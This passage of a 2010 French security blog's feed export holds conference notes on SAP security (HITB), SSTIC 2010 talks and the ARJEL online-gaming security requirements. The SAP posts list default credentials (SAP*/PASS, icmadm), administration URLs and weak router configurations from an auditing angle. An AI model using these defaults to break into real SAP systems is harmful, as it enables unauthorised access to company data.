/&gt;&lt;ul&gt;&lt;li&gt;http://serveur:port/chemin_vers_WGate/service/!?variable&lt;/li&gt;&lt;li&gt;http://serveur/scripts/wgate/webgui!?~client=000&lt;/li&gt;&lt;li&gt;http://serveur:port/chemin_vers_WGate/admin/!&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conclusion&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Voilà, c'est terminé pour la formation. Je n'ai pas été exhaustif mais je pense avoir fourni un bon aperçu. Ici, nous avons surtout vu les différents points de sécurité à aborder pour la sécurisation d'un système SAP ... ou les vecteurs d'attaque pour un attaquant.&lt;br /&gt;Nous ne serons pas sans reparler de SAP car deux confs sont prévus sur le sujet. Aussi, j'espère trouver l'occasion de vous faire un retour d'expérience sur un audit afin d'illustrer cette théorie par la pratique :)&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-2296976968132658013?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/2296976968132658013/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=2296976968132658013' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/2296976968132658013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/2296976968132658013'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/06/hitb-conference-sap-hacking-overview-22.html' title='[HITB Conference] SAP Hacking - Overview 2/2'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-427243134614386192</id><published>2010-06-29T10:58:00.000-07:00</published><updated>2010-06-29T15:02:02.814-07:00</updated><title type='text'>[HITB Conference] SAP Hacking - Overview 1/2</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Après le SSTIC, on enchaîne avec le HITB à Amsterdam et cette fois, je vais essayer de tenir le rythme pendant les quatre jours pour mettre à jour mon blog quotidiennement. Inscrit à la formation SAP Security, je vais en profiter pour vous donner un aperçu ces deux premiers jours. Plus tard, il me restera à vous donner un exemple pratique ;)&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;A quoi ressemble la bête ?&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;SAP, c'est un ERP utilisé par pas mal d'entreprise car en gros, ça permet de gérer sa production de bout en bout. Par contre, c'est lourd à mettre en place et la sécurité est rarement la priorité des intégrateurs. Rien de nouveau, c'est souvent comme ça. Mais ça veut juste dire aussi qu'il y a moyen de s'amuser ;&lt;br /&gt;&lt;br /&gt;Alors plutôt que de vous faire un cours sur SAP (d'ailleurs, je ne suis pas expert !), je vous donne les éléments principaux à prendre en compte pour sa sécurité.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Le cœur est représenté par le système SAP contenant notamment la base de données (ex : Oracle) ;&lt;/li&gt;&lt;li&gt;Dans cette base de données, se trouvent généralement des choses très intéressantes :p ;&lt;/li&gt;&lt;li&gt;Pour se connecter à la plateforme SAP, on bind avec des &lt;span style="font-weight: bold;"&gt;clients&lt;/span&gt;, à considérer en tant que passerelle&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;en fait. Concrètement, on peut utiliser comme interface de connexion &lt;span style="font-weight: bold;"&gt;SAPGUI &lt;/span&gt;et s'attaquer à ces clients. Vous allez chercher cette outil et vous allez vous rendre compte qu'il est payant. Et comme il ne vous viendrait pas à l'idée d'utiliser une version crackée, il existe en fait une version JAVA gratuite &lt;a href="ftp://ftp.sap.com/pub/sapgui/java/720/"&gt;ici&lt;/a&gt; ;&lt;/li&gt;&lt;li&gt;Il est possible de se connecter depuis l'extérieur au clients SAP. Dans ce cas, une ou deux couches s'interposent : le SAP Router et le Webdispather. Nous reparlerons de ces deux éléments plus loin ;&lt;/li&gt;&lt;li&gt;SAP, c'est quand même bien complexe et quand ça marche, c'est déjà bien. C'est pour ça que la sécurité est souvent laissée de côté ...&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Malgré tout cela, je ne voudrais pas que vous soyez perdu. Je penserai donc à ajouter un schéma.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;La sécurité de SAP (depuis l'externe généralement)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Comme promis, nous allons parler de deux composants clés qui permettent d'apporter la sécurité à l'architecture SAP. Ces composants sont utilisés pour les connexions venant de réseaux qui ne sont pas de confiance généralement (ex : Internet).&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Le SAP Router&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Pour commencer, le &lt;span style="font-weight: bold;"&gt;SAP Router&lt;/span&gt;. On le retrouvera généralement sur le port TCP/3219. Il permet notamment de filtrer les IPs autorisées à communiquer avec les clients SAP. 3 niveaux de permission sont possibles :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;D pour deny ;&lt;/li&gt;&lt;li&gt;P pour permit ;&lt;/li&gt;&lt;li&gt;et S pour ne permettre que les flux SAP (ce qui est contournable ...) ;&lt;/li&gt;&lt;/ul&gt;Par défaut, ce composant fonctionne par liste blanche, ce qui est un bon point ... sauf si l'administrateur finit par mettre une règle équivalente à "&lt;span style="font-style: italic;"&gt;permit any any&lt;/span&gt;" parce qu'il n'a pas le courage d'écrire toutes les autorisations et encore une fois, il faut que ça marche avant tout !&lt;br /&gt;Pour chaque règle, nous pourrons associer à l'IP (ou plage d'adresse IP) autorisée un mot de passe (clé partagée). Pour être plus clair, voici un exemple de fichier de règles :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;S   192.168.1.*    SAPROUTER    *   motdepasse&lt;br /&gt;D  *   *   *   *&lt;/blockquote&gt;&lt;br /&gt;Autre lacune du SAP Router, ces mots de passe sont visibles en clair dans le fichier de configuration. Dans le cas où le SAP router est bien configuré, il faudrait prendre la main sur la machine d'un utilisateur ayant la bonne adresse IP. Ensuite, comment obtenir un compte ? C'est en clair dans les profiles de l'utilisateur ...&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Le Webdispatcher&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Cette fois, nous nous attaquons à la couche applicative. A l'instar du SAP Router, le Webdispatcher va fonctionner à partir d'une liste blanche mais concerne les URLs autorisées cette fois (et non plus les IPs / services).&lt;br /&gt;Il existe un compte par défaut qu'il peut être intéressant de connaître : &lt;span style="font-style: italic;"&gt;icmadm&lt;/span&gt;. Mais le mot de passe est généré aléatoirement. On peut toujours essayer de trouver le mot de passe : l'interface d'administration se trouve à l'adresse suivante :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;http://host:port/sap/wdisp/admin/default.html&lt;/blockquote&gt;&lt;br /&gt;Le Webdispatcher peut avoir d'autres fonctions comme la répartition de charge (load balancing) et le chiffrement des communications (de bout en bout ou non selon que l'on souhaite analyser les flux par exemple).&lt;br /&gt;&lt;br /&gt;Pour terminer, voici un exemple de fichier de configuration (on retrouve les P et &lt;span style="font-style: italic;"&gt;D &lt;/span&gt;pour respectivement &lt;span style="font-style: italic;"&gt;Permit &lt;/span&gt;et &lt;span style="font-style: italic;"&gt;Deny&lt;/span&gt;) :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;P  /sap/authorized.cgi&lt;br /&gt;D *.php&lt;br /&gt;D *&lt;/blockquote&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;La sécurité de SAP en général&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Instances SAP&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Pour attaquer les instances SAP, nous aurons besoin de deux éléments :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;l'ID de l'instance (SAPID) ;&lt;/li&gt;&lt;li&gt;un compte (login / mot de passe).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Concernant le premier élément, il est généralement le même que l'instance de la base de données. Si nous trouvions ce dernier, nous aurions de grandes chances d'avoir l'élément recherché.&lt;br /&gt;Quant aux comptes, il en existe par défaut. En effet, à part les 3 clients SAP créés par défaut, les autres qui seront générés auront pour couple login / mot de passe :&lt;br /&gt;&lt;blockquote&gt;SAP* / PASS&lt;/blockquote&gt;&lt;br /&gt;&lt;u&gt;Les autres composants&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;L'architecture SAP dispose d'une base de données et d'un système d'exploitation au moins sur lequel repose la base de données. Plusieurs solutions peuvent être mises en place : Oracle, Informix par exemple côté base de données. Linux et Windows côté OS. Ces éléments clés au sein de l'architecture devront eux aussi être sécurisés.&lt;br /&gt;Il y aurait beaucoup à dire et il ne s'agit pas d'éléments spécifiques à proprement parlé. Nous ne détaillerons donc pas ces points mais il est important de noter qu'ils doivent être traités afin de ne pas constituer les maillons faibles de l'architecture mise en place.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Petite conclusion&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Nous avons commencer à aborder la sécurité de SAP tout en voyant des pistes potentielles d'attaques durant nos explications.&lt;br /&gt;Pour faciliter la tâche d'un auditeur (ou d'un attaquant ...), il existe des plateformes d'audit tels que &lt;a href="http://www.onapsis.com/bizploit/"&gt;BIZSPLOIT &lt;/a&gt;dont je ne manquerai pas de vous parler et SAPSPLOIT sur lequel je reviendrai aussi puisqu'une conf y sera dédiée.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-427243134614386192?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/427243134614386192/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=427243134614386192' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/427243134614386192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/427243134614386192'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/06/hitb-conference-sap-hacking-overview-12.html' title='[HITB Conference] SAP Hacking - Overview 1/2'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-1402127042378286722</id><published>2010-06-18T14:01:00.001-07:00</published><updated>2010-06-18T14:50:40.613-07:00</updated><title type='text'>[ARJEL] Sécurité et jeux en ligne</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Depuis peu, les jeux de pari en ligne sont autorisés sur la toile en France, à l'exception des jeux de poker qui le seront très prochainement. Un enjeux évident de sécurité entre en considération. Quand on annonce 2 milliards de chiffre d'affaire sur ce marché, il y a de quoi attirer des joueurs honnêtes ... et d'autres moins honnêtes.&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;L'ARJEL, qu'est ce que c'est ?&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;L'&lt;a href="http://www.pre-arjel.fr/"&gt;ARJEL&lt;/a&gt;, c'est l' "Autorité de Régulation des Jeux En ligne". Elle a pour rôle de s'assurer notamment que les jeux proposés en ligne se déroulent selon des règles bien précises en termes de législation outre les règles mêmes du jeu. Cette autorité a largement considéré la sécurité dans son cahier des charges. Un opérateur ne pourra légalement proposé ses jeux en ligne que si et seulement s'il est en accord avec ce cahier des charges. Nous allons montrer quelques points de sécurité à respecter dans ce cadre de jeux en ligne.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;L'ARJEL, concrètement, ça donne quoi ?&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Pour connaître exactement les exigences requises par l'autorité, le lecteur pourra se documenter en lisant le cahier des charges établi, téléchargeable &lt;a href="http://www.pre-arjel.fr/IMG/pdf/cdc.pdf"&gt;ici&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;S'il y a bien un principe à retenir, c'est la &lt;span style="font-weight: bold;"&gt;traçabilité&lt;/span&gt;. En l'occurrence, les opérations de jeu doivent être tracées. Il doit être possible de retrouver les actions d'un joueur à travers les logs. Mieux, les traces doivent être archivés de manière sécurisées afin de s'assurer de l'intégrité des logs. Plus précisément, les traces doivent être :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;horodatées ;&lt;/li&gt;&lt;li&gt;chaînées ;&lt;/li&gt;&lt;li&gt;scéllées ;&lt;/li&gt;&lt;li&gt;à la disposition de l'ARJEL.&lt;/li&gt;&lt;/ul&gt;Au total, les traces doivent être conservées pendant 5 ans.&lt;br /&gt;&lt;br /&gt;Un deuxième principe à mettre en place est la &lt;span style="font-weight: bold;"&gt;confidentialité &lt;/span&gt;des données. Pour cela, il est demandé à ce que les communications soient chiffrées. De plus, les moyens cryptographiques mis en place doivent suivre les bonnes pratiques. Notamment, le niveau de sécurité doit être suffisant pour les points suivants :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;le générateur de nombres pseudo-aléatoires ;&lt;/li&gt;&lt;li&gt;l'algorithme de hashage ;&lt;/li&gt;&lt;li&gt;les algorithmes à base de clés symétriques ou asymétriques employés.&lt;/li&gt;&lt;/ul&gt;L'ARJEL tient compte aussi de l'&lt;span style="font-weight: bold;"&gt;architecture&lt;/span&gt; de la plateforme de jeux en ligne. Tout d'abord, plusieurs composants sont définis : un frontal (en lien direct avec l'utilisateur), la plateforme de jeux (partie applicative pure), la plateforme de l'ARJEL avec un lien entre l'opérateur et l'autorité : cette dernière doit en effet pouvoir récupérer des données à tout moment à des fins de contrôle. Ensuite, des équipements de sécurité sont attendus comme des équipements de filtrage. Concernant les systèmes eux-mêmes, il est attendu qu'ils soient sécurisés (mise à jour, pas de mot de passe par défaut, durcissement système, etc.).&lt;br /&gt;&lt;br /&gt;Concernant les &lt;span style="font-weight: bold;"&gt;contrôles &lt;/span&gt;justement, des audits périodiques et/ou à la demande devront être réalisés. Ces audits devront s'assurer de la sécurité du logiciel de jeu et du respect des règles. L'audit technique sera étendu à l'audit de code pour vérifier en profondeur la sécurité du logiciel.&lt;br /&gt;Le contrôle pourra être fait ponctuellement par l'ARJEL en accédant au coffre-fort de l'opérateur où seront archivés les traces des opérations de jeu. L'autorité devra donc y avoir un accès.&lt;br /&gt;Ensuite, des moyens de supervision doivent être mis en place. Pour terminer, l'identité du joueur doit être considérée afin de pouvoir l'identifier justement et s'assurer qu'il n'est pas interdit de jeu.&lt;br /&gt;&lt;br /&gt;Pour obtenir l'agrément, des &lt;span style="font-weight: bold;"&gt;critères rigoureux &lt;/span&gt;doivent être respectés tels que :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;une certification CSPN ou mieux pour le coffre fort ;&lt;/li&gt;&lt;li&gt;une authentification forte doit être nécessaire pour se connecter au coffre fort (avec une gestion de droits d'accès selon 4 profils définis) ;&lt;/li&gt;&lt;li&gt;un reverse-proxy applicatif ou une solution similaire doit être déployée en frontal ;&lt;/li&gt;&lt;li&gt;l'horloge utilisée doit être considérée comme fiable, c'est à dire à + ou - 1 seconde de l'UTC ;&lt;/li&gt;&lt;li&gt;une architecture en haute disponibilité doit être mis en place.&lt;/li&gt;&lt;/ul&gt;L'ARJEL va encore plus loin en termes de sécurité dans le sens où elle va au-delà de la sécurité technique. D'une part, la sécurité organisationnelle est prise en compte avec par exemple :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;la gestion des incidents ;&lt;/li&gt;&lt;li&gt;le plan de sauvegarde ;&lt;/li&gt;&lt;li&gt;l'organisation (humaine, implémentation géographique, politique de sécurité, etc.)&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;D'autre part, la sécurité physique :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;contrôle d'accès physique ;&lt;/li&gt;&lt;li&gt;gestion du personnel ;&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;Pour conclure ...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt; Il faut dire ce qui est, l'ARJEL a voulu faire les choses bien et les gens qui s'y sont penchés y connaissent vraiment quelque chose (qui a dit que ce n'était pas toujours le cas ??? ;)&lt;br /&gt;Outre des exigences, elles sont réalistes. Pour preuves, des pistes d'implémentation sont fournies (ex : process de traçabilité).&lt;br /&gt;Aussi, l'autorité a tenu compte de a sécurité selon les différents axes : techniques organisationnel et physique.&lt;br /&gt;Le cahier des charges n'est pas encore terminé mais à ce jour, il fournit déjà toutes les chances que les jeux se déroulent avec les mêmes chances pour tous :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-1402127042378286722?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/1402127042378286722/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=1402127042378286722' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1402127042378286722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1402127042378286722'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/06/arjel-securite-et-jeux-en-ligne.html' title='[ARJEL] Sécurité et jeux en ligne'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-3433727840047773605</id><published>2010-06-14T14:22:00.000-07:00</published><updated>2010-06-15T04:00:47.337-07:00</updated><title type='text'>[SSTIC 2010] Day 3</title><content type='html'>&lt;div align="justify"&gt;&lt;em&gt;&lt;span style="COLOR: rgb(153,153,153)"&gt;Une troisième journée qui finit en beauté cette édition 2010 !&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;Matinée&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style="TEXT-DECORATION: underline"&gt;Trusted Computing : limitations actuelles et perspectives&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Euh ... ça avait l'air intéressant ... ;)&lt;br /&gt;&lt;br /&gt;&lt;span style="TEXT-DECORATION: underline"&gt;&lt;br /&gt;JBOSS AS : Exploitation et sécurisation&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Voilà un sujet qui m'intéresse beaucoup pour plusieurs raisons :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;ça parle de pentest et ça, je kiffe ! ;)&lt;/li&gt;&lt;li&gt;on rencontre souvent ce genre de plateforme durant les audits ;&lt;/li&gt;&lt;li&gt;j'avais abordé ce sujet dans un MISC avec un collègue : ravi de voir les nouveautés.&lt;/li&gt;&lt;/ul&gt;Après avoir rappelé les travaux déjà réalisés sur le sujet (par la RedTeam notamment), l'orateur a abordé la sécurité des nouvelles versions, ie JBOSS 5 et 6. En résumé, c'est mieux mais il reste toujours des failles exploitables ! En effet, la sécurité n'est pas appliquée par défaut ou alors mal (on se souvient de la sécurité des interfaces d'administration sur les requêtes GET et POST uniquement ...). La sécurisation est possible mais malheureusement, rarement prise en compte dans les entreprises, en démontrent les cas rencontrés lors des audits.&lt;br /&gt;&lt;br /&gt;&lt;span style="TEXT-DECORATION: underline"&gt;&lt;br /&gt;Audit d'application .NET complexes / Nicolas Ruff&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Le retour de Nicolas ! Autant sa conf de l'année dernière avait pour but d'apporter une ouverture d'esprit sur la SSI en admettant ses échecs et d'aborder avant tout une reflexion, autant ici, c'est un sujet technique qui nous a été présenté. La démonstration a été réalisée avec une aisance déconcertante.&lt;br /&gt;Le code .Net est passé au peigne fin et l'exemple d'une application Microsoft fait mouche : on bypass le formulaire de licence d'un produit de karaoké.&lt;br /&gt;Seul regret, nous n'avons pas eu l'occasion de découvrir les talents de chanteur de Nicolas ! ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="TEXT-DECORATION: underline"&gt;MLState, langage OPA / Mathieu Bodet&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Disons que cette conférence m'a permis de comparer mon N900 avec le futur iPhone 4 de mon voisin ...&lt;br /&gt;En fait, cette conférence aurait pu être bien car elle traitait d'un sujet que nous rencontrons chaque jour lors de nos audits : la non sécurisation du code qui amène diverse injection. Basée sur des langages sûrs (e.g. OCaml), la solution présentée apporte certainement beaucoup par sa complexité et son niveau de technicité. Pour avoir touché du doigt ce type de langage, je peux vous assurer que ce n'est pas simple. Malheureusement, l'orientation de la présentation était mal choisie avec une présentation des attaques WEB en guise d'intro ... qui a duré 40 minutes ! :(&lt;br /&gt;Vraiment dommage mais je serai ravi de voir une présentation qui entre dans le vif du sujet dès les premières minutes et comprendre comment la solution permet de pallier aux lacunes de sécurité aux sein des codes et jusqu'à quel point.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;&lt;br /&gt;Après-midi&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="TEXT-DECORATION: underline"&gt;PoC(k)ET, les détails d'un rootkit pour Windows Mobile 6 / Cédric Halbronn&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;J'avais déjà vu cette conf lors du séminaire de l'ESEC et encore une fois, Cédric nous montre qu'il est possible de tout faire avec un Windows Mobile 6 : pour l'utilisateur ... mais aussi pour un attaquant. Pour avoir échangé pas mal avec le sujet avec Cédric, on se rend compte qu'on ne peut malheureusement pas faire grand chose (OS multi utilisateur, manque de paramétrage sécurité nativement, facilité de contournement des protections, ...).&lt;br /&gt;Problème, on se rend compte qu'une fois le rootkit installé (via la mémoire, via le WAP Push), l'attaquant a notamment accès à toutes les données confidentielles contenues sur le smartphone. Bon, bah ça, c'est fait !&lt;br /&gt;&lt;br /&gt;&lt;span style="TEXT-DECORATION: underline"&gt;&lt;br /&gt;Projet OsmocomBB / Harald Welte&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;La suite de la présentation du même orateur : Projet OpenBSC&lt;br /&gt;Lors des deux conférences, on a le droit à du haut niveau ! On parle ici des réseaux GSM et de leur faiblesses sécurité. C'est un gros travail qu'a réalisé Harald en décortiquant les spécifications des réseaux GSMs. il nous fait alors un état de l'art de ces réseaux. Mais plus que la théorie, on a le droit aussi à la pratique.&lt;br /&gt;En créant son propre réseau, Harald maîtrise le sujet et à travers sa maquette montre les possibilités en termes d'attaque. Et on ne voit qu'une chose : rien n'arrête notre orateur !&lt;br /&gt;&lt;a href="http://www.sstic.org/2010/presentation/Rootkit_Windows_Mobile_6/"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="TEXT-DECORATION: underline"&gt;L'ANSSI / Patrick Pailloux&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Le directeur de l'agence nationale de la sécurité (anciennement DCSSI) nous décrit l'agence et ses travaux. En plus des audits pour les différentes administrations, l'agence traite de sujets très intéressants et concrets tels que la sécurité des bracelets électroniques pour prisonniers, la sécurité des systèmes de votes électroniques, etc.&lt;br /&gt;Clairement, ici aussi, ça recrute ! Alors on note une petite concurrence DGSE / ANSSI mais tout à fait cordiale ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Voilà, c'est la fin de l'édition du SSTIC. Cette année, j'ai apporté mes commentaires (trop ?) en retard mais va falloir faire mieux la prochaine fois ! :) J'aurais la chance de participer au HITB au début du mois prochain : j'essaierai de vous donner un retour au plus vite pour me rattraper ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-3433727840047773605?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/3433727840047773605/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=3433727840047773605' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3433727840047773605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3433727840047773605'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/06/sstic-2010-day-3.html' title='[SSTIC 2010] Day 3'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-356967425650793178</id><published>2010-06-14T13:45:00.001-07:00</published><updated>2010-06-14T14:21:45.500-07:00</updated><title type='text'>[SSTIC 2010] Day 2</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Une deuxième journée plus intéressante selon moi ;)&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Matinée&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;Sécurité de la plateforme d'exécution JAVA : Limites et propositions d'amélioration&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Après une brève présentation du fonctionnement particulier de JAVA, les orateurs nous ont montré les limites de ce langage. Pourtant, ce dernier bénéficie de mécanismes de sécurité et c'est loin d'être le cas de tous les langages. En l'occurrence, des contrôles sont réalisés à trois niveaux :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;à la compilation ;&lt;/li&gt;&lt;li&gt;au chargement de la classe ;&lt;/li&gt;&lt;li&gt;à l'exécution pour les instructions dangereuses.&lt;/li&gt;&lt;/ul&gt;Malheureusement, des faiblesses sont bien connues à propos de ce langage. D'ailleurs, le dossier du MISC n°45 était consacré à ce sujet. En particulier, les vulnérabilités sont dues à une mauvaise utilisation des mécanismes de sécurité (quand ils sont employés ...), le niveau de privilège des bibliothèques standards et l'éternel soucis de performance au détriment de la sécurité.&lt;br /&gt;Pour résumer les solutions proposés, nous pouvons citer :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;la formulation d'un guide de développement et de configuration des paramètres ;&lt;/li&gt;&lt;li&gt;un audit du code pour les fonctions sensibles ; &lt;/li&gt;&lt;li&gt;l'application des bonnes pratiques comme limiter le nombre de bibliothèques utilisées ;&lt;/li&gt;&lt;li&gt;augmenter la confiance dans la JVM et profiter de ses possibilités.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;Analyse de l'efficacité du service fourni par une IOMMU&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Un bon topo sur les protections et les limitations d'une IOMMU. Une démonstration qui a bien marché. Bref, intéressant ! En résumé, un tel système de protection permet de contrôler les accès aux périphériques et à la mémoire. Cependant, des faiblesses sont notés concernant les périphériques PCI ... tiens tiens, nous n'en n'aurions pas parlé avant de ça ??? Une piste qui a été exploitée ici aussi en montrant l'interception de flux (ici du flux vidéo) entre deux machines.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;Quelques éléments en matière de sécurité des cartes réseaux / Loïc 